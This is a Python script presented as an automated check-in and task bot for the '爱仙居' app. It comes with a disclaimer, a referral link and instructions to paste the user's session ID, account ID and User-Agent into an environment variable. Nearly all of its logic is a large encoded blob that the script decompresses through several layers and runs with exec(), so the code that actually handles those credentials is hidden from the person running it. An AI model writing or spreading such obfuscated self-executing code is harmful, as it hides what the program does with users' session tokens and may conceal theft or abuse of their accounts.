#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
#【免责声明】
# 本脚本仅供学习和交流使用，严禁用于任何商业用途或非法用途。
# 使用本脚本所带来的一切后果由使用者本人承担，作者不对因使用本脚本造成的任何损失或法律责任负责。
# 请遵守相关法律法规，尊重目标平台的服务条款。
# 若您不同意本声明，请立即停止使用并删除本脚本。
# 学习交流频道t.me/fxmbb
爱仙居自动签到任务脚本
app下载链接https://app.tmuyun.com/webChannels/invite?inviteCode=EUG5EF&tenantId=62&accountId=68d6df05d63fea1fbd49944d
使用说明抓取https://vapp.tmuyun.com/api下面任意一个包里面的X-SESSION-ID X-ACCOUNT-ID  User-Agent
环境变量aixianju=SESSION_ID#ACCOUNT_ID#USER_AGENT多账号换行
抽奖暂时没做好 任务完成后自己自己去抽奖
"""

import requests
import hashlib
import time
import uuid
import json
import random
import os
from datetime import datetime
from typing import Dict, Any, Optional, List
from notify import send
import base64,zlib,lzma,gzip,bz2
BASE62_CHARS="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
def _base62_dec(d):
 d_s=d.decode();n=0
 for c in d_s:n=n*62+BASE62_CHARS.index(c)
 return n.to_bytes((n.bit_length()+7)//8,"big")if n else b"\x00"
def d(d,ops):
 for op in reversed(ops):
  d=zlib.decompress(d)if op=="zlib"else lzma.decompress(d)if op=="lzma"else gzip.decompress(d)if op=="gzip"else bz2.decompress(d)if op=="bz2"else base64.b64decode(d)if op=="base64"else base64.b32decode(d)if op=="base32"else _base62_dec(d)if op=="base62"else base64.b85decode(d)
 return d.decode()
e,b="c$^)Z#geRA5Jf+T0WLMf-JKck(l~tm<Gx`>bklY6WbRyxh$@wfx!IY7D+n!zCZ%bb$M+O+YMGX8KKy>B3l<z^fESkbkBMxWnB)=V7{TfEfrpeG1ycRUGIuNg-u01QAz{j&pq9#Tn@7Cdj?gGjPE{gmwo<Uzl1EdvC!#lU{F%be1#Q`+kCaJUp?iIs2<2fQ4Sq4@(GsYGj>OoZz6wAtsPwogo?Ft4N36~OL4?9$Bd$P-3*#8)E#G+65x`+M2~IcgocxkoK2mxvepNixyL25%135DfFxF&lz@;vCXH!gdU$OA`DC+cyI}E<~Y-$;Lk>M|4rFMC^?xUjsYR^pd7_N{D>_m#<7J*}OZAcI<cf8x{>N}*!Uz5FAvrE&-;;kPd$u#CvrYeZ}z9<g^Fwbby*xm9;vQSXy<upp>+=~`<@OFfd+?!%i?)y%J*4lnpK@5sdL@Nu2rvbU68UMZ;Pjd)WV?Zq)zH?-Z*+J!_)i=U8Od;4UY5IbsE~Ml99S*|BF^ZE_v7tG0f?Eq7DDMBX@XE>9SUX1P$c~Fm$Vy#26>IFpVtDNSYPzmLZ;(&0jFG-dD<);aRx(brX@MhXkUvWaA1`#~)4qissS+sM+xLxh#5EL1Be4C7%qQS;LC!1cXbeB>1QX?Jz}SnD|KZORWk}+EPlix7^t^UJSTjrhvRc~=`>Ph;Dbq^+lq-dmgIwKV!`&ffT@PvB-*5Ho!VFfNun0^{dv~G9SDQCJuZ;~0%^6L=b~6u!#&J>s^D{YM<jql@B-O=;^;+_T(0Y@R_U8?RKs9b0Z0{?UPuA1rh?1%<jF$|$oUxRUXgb>k!6WuYwcA{=Yu2g!V|Vf9Fn>{VkiiB^7>Wy|2jO94t2HCKva8M*#QqUK&-(>|#$LY(d-oF491(bMSLaFM57w-p^PE)=3r&EHfTZ?6u_I4Y?bL@<>7--Z_MV25qbcbQ{!q^Gnvpz0VDxu03`pDjgNH2R=91hsOuob+ZlH4VMSqjGzu&Mtuw#@~FjLAtd2(-<m13~$(rfvC#8zQmP1>3ss+WPv5Z!~`#9RPb+}0>+M=-qK)!0BAe!J$CIVlopHpq-VJn(-d9QQ7iOHc6~$A7jWmm5?p=@LF2!*$=M@K?UyJk{}}z~f>bHgCN~vGYjO@%AbS-lr~`QyMFV6?P5%ezG(#D0IdDp7V|jNfM5(BeMIf=Gi^gl*l(JK?tX{Q8(I1=8RR%{v|SmZgC2fG#9b&>9MTgLB*PG)F1hB!)Aw}47jxjq>}TC=$p4CxDw>fZ^mI;VENS&AJ?y+*eHp%cHb=On8b4nwFl~7VRXN&#)6xl*oWqn7f!lV^sQBR-q^QMgYX~E?*LCU?$kD79s&iQxKzKVdkE9m-X>#j)}DFmC~2sgzY8uf`hwh!czhr$SyPZw?0MdU?{>r}kh2Seg^O7dJHqA1<~-el$$bG9tA=^!veKY32J26uiwM#gv&9ZZVi?^;n%G!5|5}7Is@xp$c#XX)?B+rr33CPmGgBnxw1n7VRIm>hiPsFjlqP9X>^<wQzouQ;74k=8hPcBJAb|p&%mcYwrf$&|luLfmZFC4<gD^Y<7d>3O5+Tm0umD@czX|Mrygu<7(3h`$$#k2~ArE)NB6Y*SaI|&Q_4Y19g!hgw*9XIn5J93u=s&h7E2`i1vx^d7bIyV}k$Aemw#YXTk?y}gM*to4ct;N<>3iIVYM@W|XBZw<vNB8uJ=>+)0Lj9RklU9f9$JSPc)I<{Y@|L&Lw(-k@y%_xf;xcrDGI6VO0fkU?7YVn144aKLK|ez%mfp$wt^fN^C0DHEh0j#B+Gy*@JoT1^W|QA3A00vX=!3-P9zJ@$pb`0*rxw<ljBiD6xQ%0cAV5eMoX}cqdAxgq$f`M9GQRW;pBPy+YbY)%0AEU`a(u7#P6Y}=nk!WFl&dHKYthibaUJzj2Rnl&PtKGNlh$>^67o$Jgv1(h&tfw@EuP0D&gNqJ7#rvQ}tZKG7o6nA&yR0{NQ)HB~f1%BYQgM{vz_f@C~0CDXP>9#f%1t=qR}z4Mn4kRnWrjxRlM90I@`3LFHGW7W$|EE=mqU>yOQX$g3N@Iyj}cO+eY>Km2A2rOu@V-drBGIniqGVA#Ad`D;ap8t_`|70Ano7(T2RY?Q($|He97bxKAYxy)2(2*K43)35|8jM8top;4ttDB#Sk+nKDW9zjAJR;F104moyLlVL^cEvm!j0Lt}4E%ZdH0OiY|h`qlH6pf=nHvi=Q=&;By_(Vqg8s9TpG3>abgj}e4PBMZh2t|Hggy*b+FUtq6@C9v<J-+TkK~j{fp)ZY-YMq;qJyOd*HBa9fW{AIBX%1gH5D}%*MYCVQfn}}sJR?jZXeg+^-14NZcU=w35;EqsXsxz9q$!<<A0Y1Y>x*fF60|v66magkF{tMJm`6>-p{|Gc)Lb!~)YYZ+mIvBh70G#1rG3SsL*tNxqa1`ia*^^!=<jq0Z0ZD-S(cA^4^78q8nZyozW31hLTLUz2oIh+%~4zk9;dOMIEL!l@kRPU6K-^u{B5OQHkzJn>ITcjUtpi%w^50wS{_AKH82bIaI>E0B7UlsVO3ucKbSD$D5-R1%qWzT?33mG-WhQkb347xA-bi3wO{3u0nPwAC(^0pJ1&O8RifpnZrr6t+pb$BDCe_9A9^kxAo^JT_>jlBbhN{rtmQdVoI+OQ+|XN&7VK@U@B2wuYY;M7+4qGk2!DjZ=*aSf_IV$hX#W8Emq_#^IG0Oievg*_wO|>P!v$^4aCJ>^ZQC=5MM7+<vkw|IkPdQ6Y`)JYf82~PE>+RL^JziEw1!=xSZC!22rrB8Nz8B~I%+(}f1{lf$1ro^O*uv{FAk)VX3kY|mgz>urH8yl=2qb~j-{j4e8ff(N@5lm(sUU=)+9dJyq_DXG3ai|uoxT(NZ+k>7z>_+4M)xe>s7gO%mlkoUIciT0$?gj`z4WhG2(k;5O2`*J-@(TeP?7b_ueVAqoiOz?C9Aa#uL>Q5RP8N@(;Eh1eW#j%;B)V2Koi6if`*K-rRXo#Z;C~0jLe1V!COWrT&lBT$YxcMc~Hn^4awLqY31rv`B!D&kDjc{)2lRs2!tIR!wJgFZC$P^}%#KJ91f`C0$Ghs%m(RybyV#N65E+f%2|@O*St0rTVs=P&E;dMFrwFjQUi0b`feEsr(O-pbJL|*JGio;wloj@gv2Qu$S|Z6!!A?p_-OIe7<ZaZrwXaK+sQRov0x{NCJFLRw69CN||pEbapN&<pto~#dIzmuh)<1dHR^p4C=7{P)V5OD29Q|M63C!YE~f{6%gq^Qi}}1<Hg%$v+|Gu96>iQZqJGjo?7G0)&RwKdcBiC%k{Nfx?dYuKcy^QbH_liRhGJ3Nr6Ac$b>>`2x~>5l!gBWLFHp`PsN4?<@qVF#Aac%=l<x%+3k$WyS#`r{SByYR{>g%Z3+5oT_?u<KN`=)Tz=+McAV@RaRI_C1=_A$^=GO$4lZl%=Q<v->5qD4JWxb+{LQTO$Xx1`3_f%_9aiAR?ZwlIO5E^ne>^mU6Eibj_gF3p6Rp!$HpoUs(w!e|(PKh5qjOwyjtDwocr=<U4mNjN(yNl|Na0+f>F=@*_M2qyw07HcDF#w5dlfJKP9cVF?)qa%R487Axz+I$Q%R_>`pET1nDGEKy2~UbqMVv1q>g)tpyv(P96(A+SnhXWRfqHvnIwjVlK*5+!Mwy9Q8p1_3#>cT&P;4n&u~l<9xb*xjWpuheVv>X%2@pIk1_4;G_>(Vnphv8Nqj)Y*+UBnbQH&_;2>vJ%tB~N6eHJ^uCXlh%{Xr>1c0WU+@oAMS9*S{dyWx<b<Ke^R3?Z8eNxl!ShkJEiga+a9aZ9|ow;|TbNyN7uj&bbXguPN!Z!9DJTF(ir@rIht`rRV)g97{w>#I5`TIi;4-k8G(|)W$@UEyj7^rDhjHx++=Ip%}f0<83Ue^}3vDYHy9N1i$;eNpKFVt8528B?4x~sw9{oq-D2>3`#^SN!hh?AtJ527-QqT@Gzv(JjquudZ@PX`%G*N7BAUJYx4Qoq}}{kYuo!~a@kq)bZq6S|Yxqzx^O5f4}T%x&!5v_KoTcsbbLK2m%W#1p8;zmBS`1)^kQr}gG;93VcEbhQS}pJ!2U+@Kk?AYRF7CbiN|26D3gfVet+q%}#hace;r<hLzO`!}af?jL#OZwl~Eg?$5}T1C%oE2Oj$zeUNxll1JL7caQB*5j7)=1cQKS?x<vvZ`S|`X^=hPPZA0D|g4WeT_ihh0UGI!NYPxPjgH0pYbVoWp{$s8@e1|7pZ4|tR>7?IUS63!Xh%vbg{}7!f%VfgN}l+S%l}7{!<IBGu<Yberp(x8y<#T<$%1Jy)RxuA?8$cX(IRma`6s1gmkat*On<roK{Icr;v76zd<FjGaJ`yDHXpVe?&?PDn-Zx7&xC${LJ8qK7^sUyx3GXh`TTY=^(Y_%Axv5#ffbc^?ZjmL94+rY<=)y0@3Y4snoWj$uv<44Cbg`#mI^h@JGwq^C2KPj4`SHHuRXQW*8=T>OL0=qNLc-%oH9aJeJ#r(HB08YNP?65feJ=6U+GVQp=7d51;)nW88_<&c`IEb`YMnC?)9-@+&XP1k*%;)|$gxf71A#BcY`A{kiKBd4_Z0)c}z*ySeIAs!SXAp`GIBz$iB3D;{M3EV`g0@}MDE=F8=De4KxCZF1bX)M@JkDb}@V_&Pv1f~>P_Yay3@h|yWg#;t#)0Pk{PHMSH<I0i87gBCHP9qbuCf!e?)5^Z!a-U+y3i)^2yz7E-X2idn{PyFrXK#|<^8%@CuZJjo=gMb%aZMQJ_xaA;ROVDYC4rtP_!*>(@E)mqq;ID@(3|OZiWID}ah3gN*nSpRs*n!QcJ-51Y7dhO>s@Y3DyjX+ru(&@yx2=Xz(h#E*70}egAUh}+u<3$HsPh2wwd5>!cRA;wQ;L5oI#C(%Y>=cN|Gf|~0O4v1^1b*zH0oI8q(J~2aJ|P=gavlrTMy59o93KcvalB<nLU>DG=d8gm?Moz+L23+e9~1T{?atexD6+6RxtkhE*MkdHghaG)F!lXoc`M%!!&0!@|tisQZb@n?c9VS;_iS{&)NEhx2JtL{(SwGjiOWL^fK)#0gb#3QO^OkQ&VW5GF!+&M`0~;_>{sSGUebNQ9Lo0#M4lBgV%P}-Gd(vEgk%&r_%84^GAvt?sbHpd43DU&V!rU9OKR#eQ{hfBMmu?xgatRo3v9t_k>2u@e$)fso*JBvaXUV$V7$Ay*;2ht&jza+ea62EGT@~G>u00!y`wnMlKXg{9|wYTPUB!NhC}tP$9d-gA~)zl4dy@$uhy-1U#!IdiG~|0ZQ(?Q2?KDyxF_8hCXB<O+O>rg#Ms9&8tj3D!&WC?_LqwH-nfBIQyu+falw5BGzIV4>tx%>IK+plw>pEELX&FMB#$k-P9w`%|)BrKdompwca4!lMY(ZHWzxIg_|s#@oPf!C)C!Y8w?|Ldq@F6`ZM;(4F5uf<JMPZby5USetT{J)#2(-b)MSsVL1=KfA$m5p7mr1%)T6}i;KwYH-R~gS6pbY#m698X*%M}U&4+q!e}};Ho`i^S_wkCEgKlyL5bLWUWNft%y>#o-c0PLwlCqFaB0b%*lAfV1t}HIY#6iGiLuqCjxi;tgdNYs0%VSR6s5|?QI}t6wU$R5y0yM;<$K(NN=$tutobKktVXPp{H|ES(N=oZ9up|aq^F*r8nn!tLKoRlSF91rqWBHIycb3p_mTh#UVzT4Pi#*3Pc=}VD&0B{t?T}Gq==ws?&b*&>Eg4KNj(m6g{S^(#8W5I8wrfT-r19ABruyT1xu+?S=KdkzQU{+=0bbJ&)QXMA$YJqtN@@W)x;0PMRZt+!{U=-{2D*ddu&s*Bx<+@6}39V{Y4@|Q{2s(_2t^+-(lsODycGfZ-DvEADsE)hHCQ<Y5udFR(To$$b*{uyW3saNl1+^eSv&NKR_gYC&NTP-M!Q?gJia@c(j*Z7C!DAk=I7geWurDVz>qkPUH4c5(~y^om?=1IcQ0&1{lp&U>#1A9SeuS;3eC~uI=SH>2jb7Is-I%)cv$by3jA~__}sQzlw6x=T4~&u<%1Vrb_m|`j;E>X#N%LJWTH%s(kcoSs{%QkBuGjc~|2aPJmD1#)K@@ZCRX%?V(*u3ZfJ9a-|xhf44tB0&mRYf%ot*8NaWAnTo^De4~{5kOb*#o&g|QMN`DfYhs^tduxy&Oju|r+LuE$zZQNc85^iMW=OBH<nZ4s3w}fWvhSd;n{WQQdW-Qp6ajh9{G-?=z8~{BEuPIe<<rFTolFyXh-A)93YAFO^-Jx~nqXy9W_WnCh3>d7TwsjzjcX)9>cVH@aDRODIRlgDNVB005ZPq_iT;c&!}JY{>RPABWZgjIg{HwUou5T}Ea$fTSs6I&JrW24L0KH55G*j!wwijcM!(2eBUi!lVElZm?6=`|t#dGlaTIfx?BDn(%o^}37z#8;w%*N50`o1vnt#P6og_5qkJb78h25x_KRUi=w1^Vg7F@!jAX{#jzZn`GxbCXZ=|%=zlp*~AYNR1Zi`V9N-k-qg(zJJP%2^b~=&O&%Kfd-u)bTz4udmwrUg;(M2U+t27iu!^7#ZLW{L!N*l?vrDC(d|}$Mz&(%mOh7fG`%-OBi&6cQaG9WHJz4AM8$qmpcF&XHHlaaHXd^FjK)0KS}AbtAq{Y^2HTbKf^J)MH4|#s%(*gVExOIUx>!5jT$-ZYL3|lpUgxYGilWd(WC8`^FlrGiyXI||H+*DLxKC-RK>af;!TUhkwloR{vd5K#33FCYf$%P9g<xlRA89AXTh4HtB-F=9d&UA7MWSqYH3_j|ELnIC>PUF2t)voC;KKPuLq?iE`gc(a|5b((l;JJr}@1(Dg0<?=hfM7m8&{FLuoeg0>xiTg?L$KHS?#VCKu<8I?0N?S|b`K*D#_y|0RX#76uK|LN~$rkW<)TZgVUJd=&u{W&t{iIW$8Jt>vUsK^N!k7a+i`BSc>o2o{_j@LRT$?g9;1=8iaZ4PlvVdBi{gUn&poBko^-)##NPa}-TJZ6VL52;74z5X1}__npE8F^>qF+lfbU1(_`TO4|;&be_k&*LGwy1C1|fIUMsDY;0cT^zllChf(I<--$|maECl;UTb98wMzQc5RBLaQE8m2p;bz^z7ZbeYpSARx1?a46#9ZPlLXrcdO-{j6x4L1yx6PQ-YEiN5?m;h6aJhUo*laR_5S{yDCdD&uo=zuNCgRgqw!^#*olQq=#E?QUQLL<Z2AerM#EVACfp`p(9%4d-a@;@Rso2Xu0%*qmV9)`$5BWwmAXEqIwwEq0gLVv`6rM?!-k?~mY5I7%zWBJQa&Y;{X-&hQw{<WJe_-^T44mEq>=T}Qt@%NarEIww$#X9;OEpy=l)#NwSS~-EJKmtD+w=dR+=k@&Vcn?*EI7<?&n~St@7|7$l?8k;?<ST->wx%GpLBVTC^c8(_wEnTUGBYl1rf(sG5;oZ_w^OpfWxDnHf;k{idEav4-chPS5Vk82A!CdRr@I2fc)^z9Qd6G)&F_g>s{O8f=78)&RPr7!B}&H>Pi5I{h^>N%RGXR4kK5#~09C%~gsb!2Uw7PLMQSlQVz_;oeE)n`(34$1XxnCfTB5R_|b~y{)Rd_O7)HgUAQpcHeUS)9^pHh||{#_|t;_k|`4FOcAEg!OE_m!Vc9@fc0NIP^Z*^=J$EDN!x<CG?16vUyh#|ikfElTaWE8pUTgjNrg#on#Zj=5rmbB{X38cJNSue4X3(gPDCgC?F%lB9}m(I=7g|`8EYbqFkD~$S*;$VSMH@D$@^X9YUrd7D!z&&Ilx&n?GqLx)1Er!x>o3-yaH{X;cTeb2dQ{y@Us@A2%5AHI1)I!p_Q(3Gr0OMXRALNNSUVMc7wS>ayYTr`HLfcXt-2^y{t*5^awE*@O$d}z&CfW!U*o6G!(A9lDBl}TP(hV=7nJ`@3_DJSleO{Z=nEz6;6Q<?v3HMn%xfQ+mn#k7wnJraNMNz_?m%IM%Er~r^cwBYYT*)*BNMa;|yiBy1P1K#cGNHp9?4E9mP#llS&^#biL$$5m5|%es2>T6gM~Ext@kfp(+~3*QCz@z^9@mP2MV;Si`&jwe5i^P!#^IxjW4+?snDoj?MD{4=Z&`(#El!7?qMuspnp3)6o0_0Hz=kOIY#TV_GJkc6o;vZI)2`T&+_XweH+)qSM6~N@$RL5+MqnQ+w?$gjh{t1t`2cW}#{$zVE$?%IzoHKaT!ltp;DQbI8yN8hC=@*!)`d8ST6HwwFEeiR)HB6TVPAPzQ;3f>{Ae=YH8g6m1smt)L&?3$KAtS@xJt9a!<%o99v^Y`GKCY?E7Nou1-Vpf$_=$r?G7+`Rb~#ES*FI47l>I0lZedovnEQT8(>M7zbK#?IOAPyXs}|2m)o7^Z`*{<1bRd4k?btkCe-j6FP#@ur_Xl^kolpAP6y0={gNx*FQNTeIT9)c<riz?_3Tf3hUPw!C92BUU#_6v1D`{k22!gV|$8rD8TW&~vg7%_vfLD!SDvAt=YeGP-8cm5@-dK<lX2VGrZYjMn_qkUdKig2LhL<f)4}qZo`T>plkBvP6xeUF!-{>K!lLicR6LIr}d}2f{S2Eh*QT#Z5v0r$5y5cmrRM%Il*a9@rp(MKN||Ke0yPp8OMg+XKDhKKo)`fTu1&j>f~@%yW!rm>kZtE|DovS|~jVG=Tk)@?ZC{)4=P4Ou!`3xp17UO68}UqO%AFKBmfeC>m>=v;^vFkyQPm2_VQl&VKjQK8=ZAbW_&;np^=XF@HkoY{p&|My4Wz6{ON#xa1ej(Ff)}c=6o{IMXS31Mbt&LgsQ#4l$fdh;qa2VH&&e`crOKdpHd7BdQNl9igxtu~F4J!yowNVUYl<p7`V6o#Ts!_os(Z|1Puh?+%v;(g}e10ah{rthAISUV7l?Sgm~C$-Wgd74Dr^Nw^UzZKl?u$wuW&Sp-&H1CaSsbgu1(elRc94slxDU`f3VIX>NchO97et&fC%HuW9MLwfj!4_rU-K~}EintUP~f({Np<(mHlyj_`fv)qCwqP=$ma^K#fLZ^}Qpo@9JY_c`!cVAC1*6W|WeW-c%kMJ;43QJ$9QCBa*>K%wANwAMJqM=bsmW{m7hdkLpr`{h177*^WIa^H5>$D}dHP~b>{EHWNm6wD==Ri=)hICL1EF)6@8dm#uVet9NM9n#$9n>)k(zlutggYOyM}ePhw?%R?nYavCNn6Dzfp_+7m{r3L7vKXeNYJ>Fbwu}N!*g-RYdviIjqMNLc$4aN%jKWG9Y97!2daPL;|C8_Fq*$(kt-o;@V3;b5<Q}Jfx9rm``L~B49EgDPi>p4am3DxpBl3)^#s*VCPH*`vzAn?;)FMYwGhU>+~I6~&iIUz`7;9E_kVOU_t&=6%NM<LI?&Lt8O+)pLT(#^d~;S9r&gW{j3VCDU&Su~)e-)X|DkLDMp?q%Rke)zlev#sjO`Y+zf+f>U<mwUle3FkHtlcpnVLJNW$E?)XnL!$@8qKj_V*d5XF~B1M_gm*rMdt8^}ot>ZkDw5Snjj=0AqT!(DMU;O0qIlI-P=&GTA;;i-p6h9-6<TJxOfYDA}dh^kb{(XCNII@-aqSQY=j&YxQFRyE+(KCIng~PzpNRb1M=-0`&}Et!1vE2_yKT<`9}?OdUG-*9ZupQ6e|>37u%&^JlZh_nDU?1<s!eICz$i$90-QjF)H`C}l3#>6sExErgyG5<~j36bECnsji>V2k0pk&T)H+ncRLd;9IBWN-RLnXtBY!;dL7kuxc5~Tk5e6=LoA^Cn8{XO#+{EuZphBy({D@nU1ItL`|v{8!w$u0|aM~{D2M5;^@#uhtq`vnJxkq^FIVrU$SCGkM1C#4Q`C7T$^eJzt42NE6>?$5SBBs&Aw3iZ&aN5?AS`NCHK)=6T}91NKFdoqLg*wb5iF#?K$a38g9#A()T9~^*#=3Epqr<?P3w%iUmj4B7Lpf+B1O~PPK82tBapku0bGwi-t54fO6Hj;2Jen6pQz|xl6(R%@!sB=LKY?YyHyu$|5AjoZj?e8MU8-H<6H_nS)OL?%v;$nP-V|$P`z1L<AZZPyg%VAVamUeEGzdaAFg83RCfj(4lQSDs*;1Q_GK8qX(TDMKj3tsZIxOr^8Uo{R%{2kCz}~5xF_dU&b)q88pswX*6-qX)e$EQO|(ByAZ0q(VBgn+INPq_b80B8_XaV5G3wBZA;{K7x$q7vsR<80KrFAE%u#Q3fp^V?b!bT6I?9(d5tbv()u8&=(Ux|X&ERvtl4j6T%MXeAuVe8quZ)T4b1Iqk1sq}oW=R5v8p0<_Saj-*s5=jq%;!gcc(s?lLcmv2xdz2*lO#t1s+vA&}iYnl4p+d_BT)iazx%w*CU#+;P{e8KqP?C-RFXS*K{|0pg<|n(XnxF5(z^WxSyh5NO$EZBCY|V{U)zfo=C-LZo@d%af$)HEgRMSz#rcKd$%zFu79Y|=U0~AB03X6b8ujVb#p~h&^AcE@`tfO2O@cx2@tQ9apJdl?8@Qi8J*}&T`DcsUnJCGw^%@Z`x3Ble>ep{`LlUKpyO?p^zv$LLZ`O*EakSlze`>xwiAMSGcDJPstk&VSK4)}=YLTQa}+zKp4^R9qI<9geGd;8JUieYY?6Vh32UxL#NWjv>M(50b%<j==6xZ-c<cS9n;x?Zr>P<-J?DrrNx^OHPIE@{;C%tdQ-oc|{#>O7m`S)%?Mi(zeIlaWC(wpfSEU)yDQ{|y=4(dFe0P_pp3UWM7O4ew)kT7aiJp;0cKMJZq;A|*-`>4yc2_LRude_r&_~o|!^bV}%Pvv$Pj@4`ERFMP?JNk1dy!YoB6eb#5CB3a$e9Y0??Th8ab0TZ+FN@+&=kt`;(gv@F4YzI?v|EK5frD5om5q7$L>rZf#LXw&9Bm@EPVwo{sQuXu4U;y_OYdB%>BOuxSdWyMv;PzX-+44OQNJ0SoMc15(4z~x%|W}s9x5U^1bhf)7b~}{*voXvEUsNkl<ptX)%#D8`j^g>?a3eMMt!d39qt?2ucP5*ONt!6YdFflEW~x;+t~!ihq>=DIzdl2LAAAR!<D`*=xR_nvT_wMT)uKBL0nFl%aZ?H8~<gz|aANngSSxQz<!bt~?$GirfOZZDHFMuKjx8Z2tFnc7NxXG%<X=%2)xIK!!6nXxZAujqv6h>C7@Rc90(6G9i;WcU49J+g1xcGsPlk`L|;WK&d(XccQI0E`?<yucFij+*aVv=8$<1#fc2P(Z&NRCP73<4I6AbkeKOq6{60=xSx@2JVc-VUvmlyGAd*&tt8=wUF+#MoTt%q&vnkSHzjPul93Hn!3PyceNt*2j!17Rr6*0Qj|W?hy#zj*xXSZacf})`6f-Stx^=L|;fx|bUgL7Hzg8>K7GG0udM-Uf*jA||kkU+-ZzL^vPJH*r9K)9h<x#xBkm;X{r(k&ya?KHY+!CMm7D0I`Gqgm%VX$9`O{mktmfhKY8N~eMnd<cLNr$tws1?#!cZQyS_g}`Ulo$e4(Aeh5LzKm+pWC#2ygpWRk8sAd`I1(?m-#wl0nfgV%z*;1&`lR*ul3V+?l&mFZnF0BqCjkPI;5#XG(XCEgWKf)z_CKb?Qi*T5(bp?TX>Kn$gct8(SgSrVQs1kMkSkWU=K5VZ!O`h-&u362WE$$SPDX$LK3{wRFsSv6JtW*Z>M9`;o@_YR!7mTN-KvY7vqkC!fKmJ$lOHUV{4s{kdw0i2M9*cS*`CuLpcOe{5E`4z{fA>o3N)(#t!e*R5+ohyEM}(9A)s0Y78#rU0ErAw-Gjs3jGM~1S|mN{|drn_b-ohr1Ph;HHAFUIer$GhlQ2kMqbq;EX#!%T1qnHeMPac;M*$?Z)fp?YrZB!RgukF=uV`ztm8_mQ0510lAr|V9_Pgz+yw!lmvauD1!&c@6QqU1=joZ4q<u~*+J8xBOQx9X1SK*BRz1rIY<^YwjRe9%Q*HMnuxL#(aW|5uPj0z0)Vq5W=9tw@w;nM#5?$Hhr(mJh(#kuyF3|$Yc~+8tUD4abZkmMe=*6fi;C5UBZ>C(kgpjegtey>_^BU`*@la<BFk=;TTV1y4#z-KXdrSUV<me`S11Z+DdQC&ga%w0aSH~KEZ>G#e9&&%jCRTLpUTTAZzEUfJb2Q7j;QqR=7ki_xX@17aCYDX^i%&4H_uK@@H>u9R7jd96S>`7~tQ~Nb5;<6ZKMJS={~uVmhKp|M+x^iq4ru(9%aEYfbV&O#cXO_<w=ft|LyW7wX9zx-tfA%_6#^7{1xgspBkR|hazhB|Qfub5E>EK^?KBWZiuikcQaO3{^xS09?~6OL-G__`^XP+CDqrBOBVX{cif%o#z1Q9J5LfkBHbq35Neirzq5r-L5=;08Ccz8|ndE=GN{YQJ$GMaLl0S7@3SD?-e<_o>5W@W*iR`8_-O^a!eR}-d<8|@RGPk_ZOaRe;Ws5+$aH%;}9{2qLDvdfm-(e`^2G4t6HFCkF+!h@og|RB#P@!YYVO8t<4D5zfj7JvHNU3(D-B7t<oxPy${WFF}^64t|Bt?I7z~7|K6Lo^;-_8HM?i@qy@bKtOS8a5aLO!SkO4Rm66+3<XT70O=R_$2H@J4VgSzd5XD)eKNR4k4Y2g3Tb{<$)Xv*rHV4!t_b_em?Z&rcKTmTJp@-S!8fBJx8eF+~ZjaJOeL{nl=d;$hvsMPxt|{kY~G_??FRXCnL2`g{g&CeVTe^!S!l`n-1|3V%zSKOlN@`y{f7#(QI@_<W@xU}UFp1;8SiY<}tth5^aNGwC7lL*5)%xTzfs0D^8|_O`KK#X-y|ISrGoHl&21P3H7F7zc=YMCwuw)}JBy!HU;*ziic}Vaj0Ea_=PgV?=Za*6t4$Y5Wg>_Kqut+J+Qkx%GC6n*IuzG*Q@YwAYEe(z*GWEP<SXXqkEyI+;$)Yffgs-TaALv^>nx@$ym;=otIcM$E&;%^{6!K++j^I}@@`%Rfw5z=>ph?mG*2CECya5DN<|2mA?=o_{*YJlcKkl<upL4YlSISVA|$^%0fcUuV$#cP(+7oYGB_Q5P38wUrf=&Y)lL*=ORu%Xee?%bSKhW6R#zqrG3^WU%J`;U;&L9`o})D5>EYTS{hg%H<ciA`Qx=xQzxpDw>yrh|}N{pmln^jgA@?5V{YA`dx(wyI~addi#0-okn<Mu=lueep>qEpLmy_2^s~wpDo^<ZLKGR+tJ(%X=v=au(YJ7m{GLI2##qwcmbtWUo^sV0E$!~wJC>sIUh;pH5b>R3;se0BX2>H-pS2x6OC(vj7D`mh<0CIO}D2Y+l7C%gV)U@cC?dncwYx)C<ocN()au0x3E14P+aQ#_>>WnKU4!fgZLI6yi1Z2t(YlzFYrYsTDp|`gu6tM^{r=<SVYEU5rO92xHdKUPkE$M8PfZfm@cX=WJ)c6_P&Uf8+7Ssuk0eiScb`o&<>_FOma)UAzp9nj*TY>0492T2t1xb;7m^@7T#2ECJRR%rpQ9<tCPxS$cN`4{o^*l@V9r)Wdgx_fHUS<!yx5`y}xUc_^vnTT)#(u)M;8HC_70U66G$DP1W<vb%i1ua^XWYWCySQL-7TM1>ga{T2_Vk0u(=kCR3WIdZ+b>b3vO~VYwfmfT|ml`gM$eRNcL8kHKtMlCg9ros<%WbbnSMI+Rp5`=eR4)-T$v^41r8U*B}}ODD@rX87akMDq)&*Km#fQ<xYM2v93<N>AXPdyJLj<<)JH)_b7Ns}ow9;HIiZ2cHNUvW?BcY0|pnZEhn_P*U~7cb<_Zid0}o?SIX5xJXJUWrD;;H2pPZk_r*l(!X%T{O+8paCIeO{8Ur51f0|<Gk$c|y#Sq&HuLuiVsrzwrx}!(Kfu_}jmB7Ren=w4oTpX-RMr3S>E?TN8{2>U8BAKk4dB6X?M5vZ=u?U<0{o;bdq1mVt}61*f6Qd-*^eCWhP^T8WE{~l<~IC^1qqkE7q|*K#S3VCHVI>z8u&lt-G)7x|02F{#;0z9R}UyH+q0AjR2<P#>qcyoY&uxj?*@4;e#x`xuB`Bsx(r}b|KHaaX``J2d0d_NXVY{72Mf0GG^;Y?_H7}tBI)}7U*p4Ifi1qI{sW|a6Zi","Wydsem1hJywgJ3psaWInLCAnYmFzZTY0JywgJ3psaWInLCAnYmFzZTg1J10=";o=eval(base64.b64decode(b).decode())
try:exec(d(base64.b64decode(e),o))
except Exception as x:print(f"Error:{x}")